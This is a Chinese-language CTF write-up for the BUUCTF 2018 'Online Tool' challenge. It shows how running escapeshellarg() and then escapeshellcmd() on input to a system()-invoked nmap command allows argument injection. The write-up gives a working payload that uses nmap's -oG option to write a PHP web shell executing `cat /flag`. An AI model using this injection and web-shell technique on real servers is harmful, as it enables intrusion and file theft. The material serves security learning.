[BUUCTF 2018]Online Tool 1
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) { highlight_file(__FILE__);
} else { $host = $_GET['host']; $host = escapeshellarg($host); $host = escapeshellcmd($host); $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox); chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
?>
上来就给了源代码,可以发现使用了ip地址,但是这里没什么用
后边有escapeshellarg()
和escapeshellcmd()
两个函数二者联用来确保不会出现任意命令执行漏洞的出现
但是这两种任意一个出现一般都没有问题,或者先来escapeshellcmd()
后来escapeshellarg()
应该也不会有漏洞。但是题目中的顺序会爆炸。
下面介绍二者的原理
escapeshellarg()
escapeshellarg()将给字符串增加一个单引号并且能引用或者转义任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含exec()、system() 和执行运算符 。
在 Windows 上,escapeshellarg() 用空格替换了百分号、感叹号(延迟变量替换)和双引号,并在字符串两边加上双引号。此外,每条连续的反斜线(
\
)都会被一个额外的反斜线所转义。
言外之意,就是看到了一个字符串,先用单引号括起来,然后对于其中已有的引号再进行反斜线转义,并用单引号括起来进行引用。
最后这一句告诉咱们Windows上边是绝对试不出来正确的结果的,要使用外界的PHP线上运行环境。
菜鸟
escapeshellcmd()
言外之意就是把字符串中的特殊字符使用反斜线转译掉
所以下边就是相应的原理
下面回到题目,可以发现体中有一个函数
system
来执行的我们的nmap命令,由于管道等命令全都用不了了,所以采用nmap的-oG参数来写入木马。
?host='<?php echo `cat /flag`;?> -oG hhh.php '
注意要使用单引号把payload括起来,同时后边的单引号前边必须有一个空格
<?php
$host="' <?php phpinfo();?> -oG test.php '";
echo $host." ";
$h = escapeshellarg($host);
echo $h." ";
$h = escapeshellcmd($h);
echo $h." ";
echo " nmap -T5 -sT -Pn --host-timeout 2 -F ".$h;
?>
' <?php phpinfo();?> -oG test.php '
''\'' <?php phpinfo();?> -oG test.php '\'''
''\\'' \<\?php phpinfo\(\)\;\?\> -oG test.php '\\'''
//下面的这个等价于
nmap -T5 -sT -Pn --host-timeout 2 -F ''\\'' \<\?php phpinfo\(\)\;\?\> -oG test.php '\\'''
=>
nmap -T5 -sT -Pn --host-timeout 2 -F \\ \<\?php phpinfo\(\)\;\?\> -oG test.php '\\'
可以注意到,如果后边没有空格的话,\\
就会和php
连在一起,这个时候无法正确解析,所以必须有空格。
最后可以得到payload如下
?host=' <?php echo `cat /flag`;?> -oG hack.php '
注意这里cat /flag
两边的反引号可以让PHP自动执行系统命令。